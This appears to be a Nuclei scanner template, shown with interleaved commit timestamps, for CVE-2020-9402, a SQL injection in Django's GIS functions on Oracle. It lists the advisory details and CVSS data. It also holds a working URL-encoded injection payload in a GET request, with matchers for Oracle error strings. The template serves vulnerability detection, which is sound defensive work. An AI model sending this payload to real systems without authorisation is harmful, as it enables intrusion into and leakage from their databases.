2021-07-26 17:18:45 +00:00
id : CVE-2020-9402
info :
name : Django SQL Injection
2022-04-22 10:38:41 +00:00
author : geeknik
severity : high
2022-05-17 09:18:12 +00:00
description : Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:22:36 +00:00
remediation : Upgrade to the latest version.
2021-08-18 11:37:49 +00:00
reference :
2022-02-04 21:01:13 +00:00
- https://www.debian.org/security/2020/dsa-4705
2021-07-26 17:18:45 +00:00
- https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402
- https://docs.djangoproject.com/en/3.0/releases/security/
- https://nvd.nist.gov/vuln/detail/CVE-2020-9402
2023-07-11 19:49:27 +00:00
- https://groups.google.com/forum/#!topic/django-announce/fLUh_pOaKrY
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-9402
cwe-id : CWE-89
2024-01-29 17:11:14 +00:00
epss-score : 0.14117
2024-03-23 09:28:19 +00:00
epss-percentile : 0.95552
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : djangoproject
product : django
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,django,sqli,vulhub,djangoproject
2021-07-26 17:18:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-26 17:18:45 +00:00
- method : GET
path :
- "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1"
matchers :
- type : word
words :
- "DatabaseError at"
- "ORA-29257:"
- "ORA-06512:"
- "Request Method:"
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100ccf3113bbf0b9acac23cb361dc7f354995e653943ccb6f448a8fb6a883c4071302205350ce4634728a65fbf460c2adf249a31f93c769451b8969561f2c1d50f9d980:922c64590222798bb761d5b6d8e72950